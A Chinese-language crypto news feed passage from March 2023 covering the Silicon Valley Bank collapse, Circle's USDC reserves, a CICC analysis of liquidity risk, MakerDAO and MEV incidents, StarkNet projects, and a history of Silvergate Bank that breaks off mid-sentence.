    PANews 3月12日消息，Circle发布公告回应了目前其面临的情况，USDC的33亿美元现金储备仍有硅谷银行（SVB）保管。截至本周四，Circle已尝试将这些资金转移给其他银行合作伙伴。尽管截至周五营业结束时，这些转账尚未解决，但其表示仍然对FDIC（联邦存款保险公司）对SVB情况的管理充满信心，并随时准备接收这些资金。SVB也可能不100%的回款，任何回款都可能需要一些时间，因为FDIC向存款持有人发放欠条（即破产管理证书）和预付股息。 所以在这种情况下，根据美国储值货币传输法规的法律要求，Circle将支持USDC，并使用公司资源弥补任何短缺，必要时涉及外部资本。美国银行下周一早上开门时，USDC 的流动性操作将恢复正常。 USDC目前有77%（324亿美元）的美国国库券（三个月或更短的到期日）和23%（97亿美元）的现金在各种机构持有，其中SVB只是一个。美国国库券是世界上最具流动性的资产，也是美国政府的直接义务。这些储备由BNY Mellon保管，积极的流动性和资产管理由BlackRock管理。  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.11）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    MakerDAO：当前抵押率为154%，PSM储备金为31.5亿美元
    PANews 3月11日消息，MakerDAO在社交媒体发布最新数据显示，当前Maker系统抵押率为154%，即53.8亿枚DAI由价值82.6亿美元的抵押品支持。过去一周MakerDAO没有触发清算，系统按预期运作。此外，当前PSM按预期顺利运作，储备金为31.5亿美元，以100%抵押支持31.5亿DAI。  ( 4 min )
    Vitalik地址买入37.8万枚USDC和5万枚DAI
    PANews 3月11日消息，据PeckShield统计，Vitalik地址在今日下午14:24分后买入了USDC和DAI。他将500ETH转入Reflexer以铸造了150000枚RAI，并将132500枚RAI兑换成378500USDC，将剩余的175000枚RAI兑换成50000枚DAI。  ( 4 min )
    中金最新报告：硅谷银行事件与潜在的流动性风险敞口
    作者：刘刚 严佳卉等 来源：中金货币金融研究 北京时间3月10日凌晨，硅谷银行（SVB，Silicon Valley Bank）宣布大规模再融资引发市场担心其流动性和资产负债表状况，股价跌超60%，进而波及整个美国银行板块和美股市场，富国和美国银行跌幅都在6%以上。北京时间3月11日，美国加州监管机构宣布，SVB因“流动性不足与资不抵债”被FDIC接管，并开始安排后续存款偿付计划[1]。 市场之所以对本次事件反映较大，是担忧在当前美联储加息可能更久和更高，推升融资成本和债券利率的情况下，是否会诱发更大范围的流动性风险、甚至波及到整个金融体系。就此，中金银行和策略组从微观行业层面以及宏观市场层面综合解读如下。 SVB宣布出售其部分债券并大规模再融资，引发流动性担忧。北京时间3月10日凌晨，SVB宣布一系列战略更新：1）出售210亿美元债券投资，并立即重新配置到久期更短的债券，以提升其资产敏感度，这笔出售预计会对其造成18亿美元的税后亏损；2）将定期借款规模由2022年末的150亿美元增加至300亿美元，以锁定融资成本以及为公司提供更加稳定的流动性支持；3）再融资22.5亿美元以应对亏损并提供流动性支持，其中包括17.5亿美元的普通股和5亿美元的优先股。（详见正文） 市场担忧高利率环境下银行业整体发生流动性风险。虽然SVB致力于释放积极信号，但资本市场更侧重看到了SVB的投资亏损和再融资需求，因此股价大幅下跌；同时担心在利率上行环境下，其他银行也会面临和SVB类似的压力，或有较大幅度的债券抛压，或有多家银行出现投资亏损，或有密集的银行融资需求出现，因此带动了美国银行指数的明显下跌。 从历史经验来看，流动性冲击具有突发性和不可预测性。正因如此，也往往会导致市场担忧和线性外推，表现为“先卖再看”。但我们认为，分析是否会导致更大级别的金融体系危机，要从区分流动性冲击和债务问题两个层面入手区别对待，前者更多是现金流和利润表的问题，后者则是资产负债表的问题。 我们认为当前整体情况可能并没有市场担忧的那么紧张。杠杆方面，金融危机后，美国金融部门在强监管下整体杠杆处于较低水平，且资本充足率也相对健康，因此发生大面积的债务危机的可能性似乎并不高，上述事件可能无法代表整个美国银行体系。流动性角度，我们追踪的一系列美国在岸及离岸流动性的收紧也并没有那么显著。在极端假设下，如果后续流动性继续收紧引发更大层面和程度的流动性冲击，美联储可能而且也有充裕的手段提供流动性支持。 风险 美联储加息超预期。 北京时间3月10日凌晨，SVB在1Q23季中交流中宣布了一系列战略更新，主要包括： ►出售证券投资带来18亿美元亏损，以提升高利率环境下的资产敏感性。SVB宣布出售210亿美元可供出售（AFS）证券投资，主要目的在于提升其资产敏感度。考虑到当前美债利率利率曲线倒挂，公司出售平均久期3.6年的AFS债券，并计划立即用于再投资期限更短的AFS证券资产以增加净利息收入（具体做法为：配置短久期、固定利率的美国国债，并通过买入浮动利率掉期对冲部分利率波动风险）。SVB预计出售上述AFS债券会带来当期18亿美元税后利润亏损，但公司预计该亏损会在未来3年被填补，短期的AFS投资每年可对净利息收入带来税后约4.5亿美元的提升。 ►增加债权融资以锁定融资成本并提供流动性支持。硅谷银行宣布将定期借款规模由2022年末的150亿美元增加至300亿美元，一方面公司预计利率可能会走向更高且持续更久（higher for longer），另一方面则是出于活期存款减少的原因，公司为更好的应对融资困难和企业持续消耗现金流的环境，来为公司提供更加稳定的流动性支持。 ►宣布再融资22.5亿美元以应对亏损并提供流动性支持。SVB新宣布的17.5亿美元的普通股融资中包括12.5亿美元的公开发行和来自General Atlantic的5亿美元的定向发行。此外公司还将发行5亿美元可转换优先股，合计再融资金额为22.5亿美元。本次再融资的主要目的也是为应对AFS债券出售的大额亏损，以及未来可能会持续的存款下降压力。 北京时间3月11日凌晨，因SVB“流动性不足与资不抵债”，加州监管机构DFPI（Department of Financial Protection and Innovation）宣布由联邦存款保险公司（FDIC）对其进行接管[2]。美国FDIC同日亦发表声明，为保护存款人权益，FDIC将创建Deposit Insurance National Bank of Santa Clara（DINB），立即将SVB的所有受保存款转移到DINB。所有受保存款人将在当地时间3月13日上午获得其全部受保存款，此外FDIC会在下周向未受保存款人进行一笔先行的偿付（advance dividend），随着未来SVB的资产出售，其他未受保存款可能会得到进一步偿付[3]。 风险硅谷银行商业模式介绍：为PE/VC提供资本，非传统银行，期限错配严重 硅谷银行是一家长期保持高估值美国上市银行，专注于服务PE/VC和初创企业的融资需求，同时也衍生出自己的私人银行、股权投资和投行业务。相比传统银行业，公司主营业务具有高成长性、高盈利的特征，ROE水平长期高于传统商业银行。具体来看，SVB两大主营业务是为PE/VC提供资本催缴信贷以及为初创企业提供信用贷款： ► 资本催缴信贷：又名capital call line of credit或subscription line，是SVB投放给PE/VC的贷款，在有限合伙人承诺出资后，PE/VC并不会立刻获得资金，而是在发现可投资项目时向有限合伙人发出催缴通知，出于减少招款通知、提高IRR以及快速把握投资机会等多种原因，PE/VC通常希望从银行获得一笔资本催缴信贷，来帮助其短期过渡，待有限合伙人资金到位后还本付息。因此该类贷款通常期限偏短，风险较低，同时收益率也往往低于传统的工商贷款。 ►  初创企业贷款：该类贷款主要投放给没有盈利和现金流的初创企业客户，该类客户常常会在两轮股权融资之间向SVB借款以帮助其持续经营。由于该类贷款风险较大且缺乏抵押物，SVB往往会向初创企业索要3-5%的认股权证。历史上看，SVB从认股权证中取得的收益远大于此类贷款所产生的信用损失，但考虑到认股权证的收益与初创企业财务状况都存在较强的周期属性，此类贷款仍然风险相对较高，过去多年SVB也在积极压降此类贷款。 近年存款快速增长，造成资产端久期配置拉长。在服务初创企业的过程中，SVB能够沉淀大量低成本活期存款，2022年末SVB无息存款占比47%，付息活期存款占比19%，定期存款仅占4%，因为企业客户对价格相对不敏感，沉淀的存款主要用于企业经营。近年，SVB的存款规模由2019年末的618亿美元大幅增长至1731亿美元，主要得益于宽松的流动性和高景气度的PE/VC市场。另一方面，这也造成了SVB资产端债券投资配置的增加，为后续高利率环境引发流动性危机埋下了隐患。 图表：硅谷银行业务板块介绍 资料来源：公司公告，中金公司研究部 图表：初创企业贷款机制介绍 资料来源：公司公告，中金公司研究部 图表：资本催缴信贷机制介绍 资料来源：公司公告，中金公司研究部 图表：SVB资产端贷款占比较低 资料来源：公司公告，中金公司研究部 图表：SVB负债端活期存款占比较高 资料来源：公司公告，中金公司研究部 图表：SVB主要服务PE/VC与初创企业 资料来源：公司公告，中金公司研究部 图表：SVB活期存款占比高 资料来源：公司公告，中金公司研究部 图表：近年在宽松流动性和PE/VC行业高景气度的背景下，SVB存款规模快速增长 资料来源：公司公告，中金公司研究部 就事件本身和微观角度，SVB表示出售AFS债券是为应对当前高利率环境所计划做出的积极调整，以进一步提升自身盈利和流动性情况。从公司战略层面看，本次重新配置AFS债券、增加定期借款规模、开展再融资主要基于：1）SVB预计市场利率会上升高更高的水平并且持续更长的时间，因此公司采取缩短资产久期的方式增加短期的净利息收入；2）美国科创企业融资困难与持续的高现金消耗均造成公司存款受到冲击，因此公司通过债权融资与股权融资补充流动性与资本，以便更好地进行资产端配置以及应对后续潜在的流动性风险。 虽然SVB致力于释放积极信号，但资本市场更侧重看到了SVB的投资亏损和再融资需求，因此股价大幅下跌；同时担心在利率上行环境下，其他银行也会面临和SVB类似的压力，或有较大幅度的债券抛压，或有多家银行出现投资亏损，或有密集的银行融资需求出现，因此带动了美国银行指数的明显下跌。 就宏观层面而言，2021年全球的一个大环境是以美联储为代表的全球主要央行激进紧缩，所导致的融资成本持续抬升和“便宜钱”减少甚至消失。一个直接证据是全球负利率债券从2020年底高峰的18万亿美元降至当前的1.2万亿美元，且剩下的全部是日本债券。与此同时，全球进入加息周期的央行占比已经达到82%，是上世纪80年代以来最高；作为负利率和“便宜钱”最后阵地的日本央行YCC政策也大概率可能取消（《如果日央行意外放弃YCC？》）。 在这一大环境下，不难理解一些依赖高杠杆融资、期限错配较为严重、或者资金链不足的金融机构、资产等面临突发的价格波动或意外，很容易出现一些问题，也就是所谓的 “薄弱环节”（《“便宜钱”消失下的灰犀牛》）。但问题是，这个是否是一个系统性的危机？以及会不会往更大层面传导？ 图表：全球负利率债券从2020年底高峰的18万亿美元降至当前的1.2万亿美元，且剩下的全部是日本债券 资料来源：Bloomberg，中金公司研究部 图表：全球进入加息周期的央行占比已经达到82%，是上世纪80年代以来最高 资料来源：BIS，中金公司研究部 硅谷银行事件是自去年英国养老金、瑞信风波（《欧债危机2.0距我们有多远？》、《欧洲银行的“压力”与启示》）、以及FTX破产后的最新的金融风险事件。 从历史经验来看，流动性冲击具有突发性和不可预测性，正因如此，也往往会导致市场担忧和线性外推，表现为“先卖再看”。但我们认为，分析是否会导致更大级别的金融体系危机，要从区分流动性冲击和债务问题两个层面入手区别对待，前者更多是现金流和利润表的问题，后者则是资产负债表的问题。 ► 流动性冲击：流动性具有突发性（“黑天鹅”），有一定诱因导致；如果严重央行通常需要干预，且干预也会起到效果。短期流动性冲击是短期流动性不足所致，具有突发性，在担忧情绪的助推下往往演变较快。如果发展较为严重，货币当局作为最后贷款人（last resort）通常会介入干预，如果不能及时介入的话，很容易诱发资产抛售的负向螺旋，进而威胁整个金融体系的稳定性。一般而言，央行及时介入注入流动性稳定市场和资产价格后，大概率就会起到效果，对经济和金融体系的破坏就不至于很大。类似的例子包括2022年英国养老金、2020年3月疫情期间资产价格大跌、2022年初俄乌局势升级、2019年9月美国储备资产不足、2018年底美国高收益债、甚至1998年亚洲金融危机期间的LTCM事件等。 ► 债务危机：往往是高杠杆和信用问题（“灰犀牛”），受流动性冲击和资产价格大跌触发导致债务和偿付问题；此时只靠央行就无法解决，需要债务重组，其对经济和金融体系冲击更大。与流动性冲击不同，债务危机的影响更大，且不只限于金融体系，对实体经济的冲击也是较大的。此时，仅靠货币政策就无法解决所有问题，还需要政府介入进行债务重组，以消化高债务部门的压力，才能最终解决。上世纪80~90年代美国储贷危机和拉美债务危机、2008年美国次贷危机、2011年欧债危机等均是如此。 图表：流动性冲击vs. 债务危机，前者更多是现金流和利润表的问题，后者则是资产负债表的问题 资料来源：中金公司研究部 基于上述的分析框架，我们看到当前整体情况可能并没有市场担忧的那么紧张。 杠杆方面，金融危机后，美国金融部门在强监管下整体杠杆处于较低水平，且资本充足率也相对健康，因此发生大面积的债务危机的可能性似乎并不高，上述事件可能无法代表整个美国银行体系。2008年金融危机后，美国金融部门实现了较好的去杠杆。截至3Q22，金融部门杠杆水平从2008年金融危机期间的123%回落至3Q22的75%，资产负债表质量相对健康（《从杠杆角度看紧缩成本和衰退压力》）。进一步从不同规模银行的资产负债表来看，小型商业银行的流动性充裕度收紧更为明显，但美国大型银行及本地商业银行整体仍相对健康。在美联储持续加息缩表的背景下，银行准备金回落明显，迫使银行借款需求增加。小型银行准备金占总资产比例已回落至6%（基本为疫情前水平）；借款占准备金比例自去年3月以来持续抬升，截至1月已基本接近疫情前水平（96%）。相比而言，大型银行相对更为健康。 图表：截至3Q22，金融部门杠杆水平从2008年金融危机期间的123%回落至75% 资料来源：Haver，中金公司研究部 图表：商业银行贷存比今年以来抬升明显，但均低于疫情前水平 资料来源：Haver，中金公司研究部 图表：小型银行准备金占总资产比例已回落至6%（基本为疫情前水平） 资料来源：Haver，中金公司研究部 图表：小型银行借款占准备金比例自去年3月以来持续抬升，截至1月已基本接近疫情前水平（96%） 资料来源：Haver，中金公司研究部 流动性角度，我们追踪的一系列美国在岸及离岸流动性的收紧也并没有那么显著。例如，在岸美元流动性方面，FRA-OIS利差当前4.7bp（vs. 2008年以来均值27bp）；信用利差自去年三季度高点整体回落，但近期小幅抬升，当前高收益债和投资级信用利差分别为4.7ppt和1.8ppt（vs. 去年三季度高点6.1ppt和2.3ppt）；90天AA级金融和非金融行业商票利差自去年11月的高点显著回落；隔夜逆回购（ON RRP）仍维持2.2万亿美元的相对高位。离岸美元流动性方面，全球主要市场货币如欧元、日元、及英镑与美元3个月交叉互换今年开始有所走阔。不过，流动性的情况毕竟也受到市场情绪和交易因素影响，后续一些事件（3月14日美国CPI，3月23日美联储FOMC会议）都值得关注是否会成为催化剂。重点可以观察上述流动性指标。 在极端假设下，如果后续流动性继续收紧引发更大层面和程度的流动性冲击，美联储可能而且也有充裕的手段提供流动性支持（如通过增加流动性或者其他信用支持的方式来稳定市场波动，防止单家银行风险向系统性风险蔓延），类似于去年英国央行支撑英国养老金，因此对中国市场和金融公司影响可能相对有限。我们这一判断的下行风险来自较大规模机构的隐性杠杆或债务敞口出现较大问题。 图表：FRA-OIS利差当前4.7bp（vs. 2008年以来均值27bp） 资料来源：Bloomberg，中金公司研究部 图表：信用利差自去年三季度高点整体回落，但近期小幅抬升  资料来源：Bloomberg，中金公司研究部 图表：90天AA级金融和非金融行业商票利差自去年11月的高点显著回落 资料来源：Bloomberg，中金公司研究部 图表：隔夜逆回购（ON RRP）仍维持2.2万亿美元的相对高位 资料来源：Bloomberg，中金公司研究部 图表：全球主要市场货币如欧元、日元、及英镑与美元3个月交叉互换今年开始有所走阔 资料来源：Bloomberg，中金公司研究部 图表：芝加哥联储金融条件指数自去年11月破零后持续回落 资料来源：芝加哥联储，中金公司研究部 [1]https://www.fdic.gov/news/press-releases/2023/pr23016.html [2]https://dfpi.ca.gov/wp-content/uploads/sites/337/2023/03/SVB-Possession-PR-03-10-23.pdf?emrc=7db0ff [3]https://www.fdic.gov/news/press-releases/2023/pr23016.html  ( 5 min )
    一用户卖出208万USDC却仅收到0.05USDT，因未设置滑点且遭MEV攻击
    PANews 3月11日消息，在加密市场大举抛售USDC和相关稳定币时，一个USDC用户将所持有的200万USDC在链上兑换成USDT时，却因未设置滑点，意外地被一个MEV机器人在支付了45美元Gas费和3.9万美元的MEV贿赂金后净赚了204.5万美元的利润，这导致该用户交易了208万枚USDC却仅收到了0.05枚USDT。  ( 4 min )
    多个加密领域投资机构在硅谷银行存放资金，包含a16z、Paradigm、Pantera等
    PANews 3月11日消息，DiligenceExpress统计美国SEC的ADV文件数据显示，多个加密领域相关的风险投资机构曾在硅谷银行存放资金，包括红杉资本、a16z、Paradigm、Pantera、USV、Accolade Partners、Altera Blockchain Fund、Peakview Opportunities Fund Crypto、Standard Crypto Management、Struck Crypto Master、Acrylic Management等。 其中涉及a16z相关基金28.5亿美元、Paradigm相关基金17.2亿美元、 Pantera相关基金5.6亿美元。 需要指出的是，该文件非最新数据，可能与当前实际资金情况存在差异。  ( 4 min )
    硅谷13家风投机构联合声明：若硅谷银行被收购并适当资本化，将大力支持所投资公司恢复与其业务合作
    PANews 3月11日消息，General Catalyst首席执行官Hemant Tanej发推称，几位风投机构的领导人今天已开会讨论了硅谷银行（SVB）垮台的后果，现发表联合声明：“四十年来，硅谷银行（SVB）一直是风险投资行业以及创始人们值得信赖的长期合作伙伴，它一直是一个重要平台，在服务创业社区和支持美国创新经济方面发挥了关键作用。过去48小时发生的事件令人深感失望和担忧。如果SVB被收购并适当资本化，我们将大力支持并鼓励我们所投资的公司恢复与SVB的银行业务关系。” 参与该联合声明的硅谷风投包括Accel、Altimeter Capital、B Capital Group、General Catalyst、Gil Capital、Greylock Partners、Khosla Ventures、Kleiner Perkins、Lightspeed Venture Partners、Mayfield Fund、Redpoint Ventures、Ribbit Capital和Upfront Ventures。  ( 4 min )
    从Circle储备资产结构分析暴雷可能：USDC极端为0.885，正常0.985
    作者 | 0xLoki Twitter | @Loki_Zeng 储备资产可以分为三个部分：（1）$324亿国债组合 （2）SVB中的$33亿 （3）存在SVB以外银行的$78亿 第一部分是国债组合，可以看到截至今年一月的数据，一共有16只证券，投资期限均不超过3个月，具备充足的流动性，即使被迫贴现也不会受到太大损失。 需要注意的是官网披露信息目前只到1月，其中有九只证券已经到期，合计超过$180亿目前我们不能100%确定Circle是否继续购买了短期国债，但从以外信息来看，Circle会在到期后继续购买国债，并确保到期日分布在未来1-3个月以内，这显然是一种非常稳妥的做法，$324亿国债组合出问题的概率极低。 更加重要的一点是SVB的情况和FTX完全不同，SVB自己的骚操作导致破产和这些贷款没有必然的关联，这些贷款中的大部分还是可以收回的，43%是非常极端的情况，发生的概率很低很低。 第三部分是除了SVB以外的78亿，在官网我们也找到了相关信息披露，Circle的所有现金存放在包括SVB和Silvergate在内的7家银行。 虽然我们目前无法100%确定其它银行是否安全，但从股票信息中可以获取一点信息，可以看出，除了SVB和Silvergate以外，Signatures Bank等三家银行同样不能让我们放心。 二、USDC极端为0.885，正常0.985 根据此前的公开信息，Circle在2022年底就察觉到了Silvergate的危险，并停止了与其互动，因此在Silvergate Bank的风险敞口可以被视作0。 另外，考虑到BNYM是Circle的首选银行，理论上来说分配的金额更大。保守估计一下BAYM资金占35%，剩下四家每家10%，那么有风险的就是三家中风险=111*30%=33亿和SVB的33亿。悲观一点的是这三家都出问题，回收率按80%计算，那么Circle的总损失是33*40%+33*20%=$20亿左右。 合理一点的估计是，Circle在SVB中损失33*20%+11（三家中的一家）*10%=$7亿左右。而最极端的情况是SVB的33亿和剩下三家中有33*50%一共50亿无法收回，但这种估计发生的概率太低了。 那么对标的USDC净值分别是;0.985(正常情况)、 0.954（悲观情况）、0.885（极端情况） 而2022年的融资中，Circle的估值达到了90亿美元，季度净收入约4300万美元，7-20亿美元的损失对Circle来说并不是太大的问题。 Circle在这件事中没有任何主观过错和作恶的行为，仍不失为一个优质企业，即使损失实际发生并且Circle自己无法解决，大概率也会有其它机构愿意收购或者投资来解决问题。 USDC真正暴雷需要满足三个条件： 这里插一句题外话，USDC这种模式即使坏账不解决，只要有足够的USDC在流通而不是赎回，都不会立马出问题。按照最极端的60亿也才11%。而Venus11.3亿的TVL，有1.475亿的连环债务和5200万美元的坏账，加起来快20%了，但是苟了一年了什么事都没有。  ( 4 min )
    Brevan Howard收购 Dragonfly Capital 旗下对冲基金Liquid Opportunities
    PANews 3月11日消息，据彭博社报道，Brevan Howard资管公司正在接管由加密投资公司 Dragonfly Capital 运营的多空对冲基金Liquid Opportunities。Liquid Opportunities成立于 2021 年 6 月，由 Kevin Hu、Ashwin Ramachandran 和 Lawrence Diao 管理。该基金现在将作为投资公司的加密和数字资产部门 Brevan Howard Digital 的一部分运营。一位知情人士称，该基金采用的多空交易策略符合后者的主动交易方式。  ( 4 min )
    StarkNet 创新项目一览：开发者/艺术家/玩家有哪些新机会？
    来源 |StarkNetEco 编译 | 白泽研究院 StarkNet 是 StarkWare 开发的 L2，利用 STARK 有效性证明来提高性能和可扩展性。在主网上线的一年半中（2021 年 11 月），有超过 221 个项目正在 StarkNet 上构建，包括 OnlyDust、Briq、Pxls、Realms、Influence 和 Cartridge。开发者社区正在致力于深入改进架构，这将对去中心化、可扩展性和用户体验产生突破性的影响，也将会在生态系统中释放出大量激动人心的新项目。 虽然以太坊的可扩展性和笨拙的用户体验经常招致批评，但 StarkNet 社区一直在努力解决这些问题。在过去的两年里，StarkNet 利用 STARK 有效性 Rollop 的力量突破了 L2 性能、机密性和可扩展性的界限。 但是还有很多工作要做。StarkNet 仍处于 alpha 阶段，尚未针对 TPS 进行优化。尽管如此，仍有超过 221 个项目建立在 StarkNet 上，这是 StarkNet 和 STARK 被普遍采用和增长的迹象。 ​ 在本文中，我们将介绍一些建立在 StarkNet 之上的创新项目，以三个角色为主题： 开发者 艺术家 玩家 鉴于 StarkNet 处于初期阶段，社区正在不断寻找新的贡献者来开拓网络的未来。自从在 2020 年推出 Cairo 作为一种初级编程语言以来，它已经发展成为一种针对 L2 智能合约的 Python 和 Rust 风格的优化语言。随着 Cairo 1.0 的开源和 Warp（Solidity 到 Cairo 代码转换器）的推出，我们已经看到开发人员活动呈指数级增长，并且这一趋势将继续延续下去。 OnlyDust OnlyDust是一个将开发者与 StarkNet 生态系统中的开源项目联系起来的平台。OnlyDust 使开发者能够帮助 Kakarot、DevNet 和 starkNet.js 等有意义的项目，并根据他们的贡献价值每周获得报酬。多亏了 Warp，Solidity 开发人员也可以参与其中。 虽然该平台已经吸引了数百名贡献者，但它计划即将推出“领导者”角色，开发者可以在其中快速启动自己的项目并直接从社区获得帮助。 除了在线社区之外，OnlyDust 还举办现场活动，开发人员可以在这些活动中进行协作并沉浸在快速发展的 StarkNet 社区中。 艺术家 尽管 NFT 的炒作具有周期性，但数字艺术品市场仍在蓬勃发展。StarkNet 生态系统充满了旨在帮助艺术家的项目，帮助他们成长并通过与世界分享他们的艺术作品来获利。 Briq 就像数字版的乐高积木一样，Briq已经为艺术家构建了一个可组合性系统，使用被称为 briqs 的 ERC-1155 代币来构建作品。从这里，艺术家可以直接出售、出借、转让他们的作品，或者允许购买者拆解他们的作品以创造全新的东西。 briqs 专为互操作性而构建，旨在连接现实世界与虚拟世界，成为元宇宙的基石。 Pxls Pxls 是一项创建链上协作艺术品的实验，围绕 400 个“pxl”NFT 的集合构建。每个 pxl 都是参与创建像素艺术作品 (“rtwrks”) 的关键，在一个空白网格中只能使用 2,000 个总像素中的最多 20 个着色。 每两天，新 rtwrk 都会被拍卖。当用户赢得拍卖后，可以为下一个 rtwrk 列一个主题。拍卖结束后，每个 pxl NFT 持有者都会收到主题，投入到创作中。 玩家 区块链游戏行业曾因以太坊的可扩展性限制而受阻，但事实证明，StarkNet 的引入具有变革性。随着越来越多的链上游戏开发团队意识到 EVM/Solidity 的局限性，他们被鼓励探索其他生态系统。幸运的是，随着 Cairo 1.0 和 Rust 的出现，开发人员可以轻松构建无缝的链上游戏。 StarkNet 的 Gas 费用低到可以忽略不计，因此可以在建立可持续的游戏内经济的同时创建沉浸式的游戏或元宇宙。 Realms 作为 BibliothecaDAO的产品，Realms是一款大型多人在线游戏 (MMO)，玩家可以在其中建立帝国、掠夺资源和抢占遗迹。该游戏是开源的，与许多加密游戏不同，它完全在 StarkNet 链上运行。 游戏有 22 种不同稀有度的资源，可以通过购买劳动力生成。每个资源生成周期需要 2 小时，并产生 25 倍的资源。资源可用于建造建筑物、召唤士兵，或在 AMM 上进行交易。每个帝国的金库都可被掠夺。 一个帝国可以有一支防御军队和多支进攻军队，但重要的是要平衡他们对资源的消耗，并考虑每次突袭的风险和收益。 Realms 具有多种游戏模式和功能，例如质押和制作，由一组预定义规则管理，这些规则可以根据链上玩家投票进行更新。 该游戏在 2023 年第一季度发布了 Alpha 和 Beta 版本，如果 DAO 投票通过，随后将进行正式版的部署。Q2 将带来 NFT 市场、新模块以及第一个扩展——Adventurers（一款小游戏，玩家可以花费少量成本铸造一个冒险家，如果冒险家在游戏中死亡，该角色将被没收。官方称之为「Play to Die」）。 Influence Influence是一款备受期待的 3D 太空战略沙盒 MMO，背景设定在 Adalia 星系的小行星带。该游戏采用第三人称游戏方式，允许玩家控制飞船和设施、殖民小行星、参与战斗、开发建筑、创建社区并扩大他们在宇宙中的影响力。所有游戏内资产均为玩家所有，包括 Adalia 的 250,000 颗小行星，每颗小行星都具有独特的资源组合，可以开采并提炼成各种产品，这些产品可以在公开市场上交易。 该游戏采用逼真的轨道机制和玩家拥有的游戏资产，让玩家真正拥有自己的资产，包括小行星、船员、飞船。Influence 将于 2023 年推出。 Influence 是一款免费游戏，不收取经常性费用。但是，执行某些操作会产生网络交易费用。虽然该游戏不是“氪金”游戏，但像船员这种前期物品需要使用游戏内代币 $SWAY 购买。 该游戏充满了战斗、策略和协作，非常适合游戏玩家和科幻爱好者。 Cartridge 要创建成功的 Web3 游戏，必须拥有能够提供类似于 Web2 的无缝用户体验的身份工具。WebAuthn 是一种被广泛接受的行业标准规范，它使玩家能够安全地生成和管理密钥对，以便在各种设备上进行身份验证。 主要软件和硬件提供商对 WebAuthn 的采用正在推动身份验证底层逻辑的巨大转变。通过支持 WebAuthn，像 StarkNet 这样的区块链可以大幅提高可用性，并为主流采用铺平道路。 这就是Cartridge的用武之地——它就像 Crypto 版的 Steam，可以帮助玩家发现、探索游戏，同时管理他们的链上资产、代币和声誉。借助 Cartridge，开发者可以轻松创建加密游戏，提供无缝的用户体验。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 5 min )
    解构 Silvergate 危机：拥有千名顶级客户的加密银行为何破产？
    原文作者 | Danilo Lantas 原文编译 | 白泽研究院 是不是觉得加密市场最近表现得有点奇怪？ 上周，加密行业最重要的银行 Silvergate 关闭了其交易网络 SEN，它已被大型投资者、公司和稳定币发行商用来全天候 24/7 将数十亿资金进出加密市场。 SEN 的关闭似乎对加密市场的流动性产生了深远的影响，而 Silvergate 的破产也增加了监管机构加速打击加密货币的风险。 在本文中，我们将从 Silvergate 的起源、它如何落得如此地步入手，了解它的倒闭对加密行业意味着什么。 Silvergate 是一家加利福尼亚银行，成立于 1988 年。在最初的 30 年里，Silvergate 是一家只有几亿美元存款的小银行。由于其高管的远见卓识，Silvergate 并没有受到 2008 年金融危机的影响。 同年，Alan Lane 成为 Silvergate 的首席执行官。Alan 在银行领域拥有超过 40 年的工作经验，担任过各种职务。 故事就是这样开始的，Alan 在 2013 年以个人身份投资比特币后，也将 Silvergates 的业务转向了加密货币。 在 2019 年的一次采访中，Alan 说他在一次会议上认识了一家名为 SecondMarket 的公司，该公司的业务是为流动性差的股票提供流动性，他们也正在探索为 Silvergate 等小型银行提供流动性。 SecondMarket 的创始人兼首席执行官是 Barry Silbert，Barry 恰好又是加密行业最大的公司 Digital Currency Group（DCG）的创始人兼首席执行官。SecondMarket 在 2013 年联系了 Silvergate，试图让它为 DCG 提供银行服务。 众所周知，加密公司历来很难获得银行服务。 其实，当 SecondMarket 第一次接触 Silvergate 时，Alan 是持怀疑态度的。但几个月后，他开始对比特币着迷，并很快意识到加密行业是一个尚未开发的“蓝海”市场。随即开始为加密公司提供银行服务。 到 2017 年，已经有 250 多家加密公司成为Silvergate 的客户，其存款已增至 20 亿美元。同年，Silvergate 提出了开发自己的交易网络的想法，这将使法定货币和加密货币的 24/7 交易成为可能。这是必需的，因为加密市场的交易是 24/7，但银行只在周一至周五朝九晚五工作。 Silvergate 的交易网络SilvergateExchange Network（SEN）于 2018 年初推出。它吸引了另外 250 家加密公司成为该银行的客户。这使他们能够随时转换法定货币和加密货币，确保强劲的市场流动性。 更重要的是，Silvergate 为最大的加密公司提供银行服务和 SEN 网络访问。其中包括 Coinbase、Kraken 和 Gemini 等加密货币交易平台，以及稳定币发行商，如 Circle、Paxos 和 TUSD。 2019 年，Silvergate 举行了首次公开募股（IPO），这意味着该银行的股票开始在美国证券交易所交易。尽管当时加密市场处于熊市，但 Silvergate 仍然呈指数级增长。 到 2020 年，Silvergate 的客户群发展到了近千名，并且还有数百名客户正在等待加入。2020 年初，Coindesk 提供了 Silvergates 的客户群，“该银行现在拥有 850 名加密货币客户，包括 61 家交易平台、541 名机构投资者和其他 48 位客户。”值得一提的是，这些机构投资者客户的资金占加密货币市值和交易量的大部分。 2021 年，Silvergate 的股价与再入牛市的加密市场一起出现抛物线走势，触及略高于 217 美元的高位，较其 IPO 价格上涨近 16 倍。Silvergate 的存款也呈抛物线形的增长，达到超过 140 亿美元的峰值。SEN 网络在当时的总转账额已接近 1 万亿美元。 Silvergate 在 2022 年初的表现似乎还不错。该公司宣布以 2 亿美元收购 Facebook 失败的数字货币项目 Diem。背后的想法似乎很明显，Silvergate 想创建自己的稳定币，在其 SEN 网络上流通并用于支付。记住这一点，在后面很重要。 当加密市场在 2022 年初开始进入“寒冬”时，Alan 开始收到来自客户的“关于银行偿付能力”的问题。这是因为 Silvergate 提供了由 BTC 支持的美元贷款，并且以 BTC 作为抵押品向 MicroStrategy 提供了超过 2 亿美元的贷款。显然，这是相当冒险的。 Alan 对所有怀疑者给出了一个简单的答案，那就是当加密市场开始崩溃时，SEN 有能力立即出售任何用作抵押品的 BTC。不仅如此，与普通银行相比，Silvergate 还很稳健，它只持有现金，以及客户的加密货币和现金。 只有一个问题：FTX 和 Alameda Research。 Alameda Research于 2018 年在 Silvergate 开设了一个账户，显然已经通过了该银行的调查。FTX 使用 Alameda 在 Silvergate 的账户转移客户资金，而且 Silvergate 似乎在 FTX 和 Alameda 破产前不久就已经意识到一些不好的事情即将发生。 在 FTX 和 Alameda 破产之前不久，Silvergate 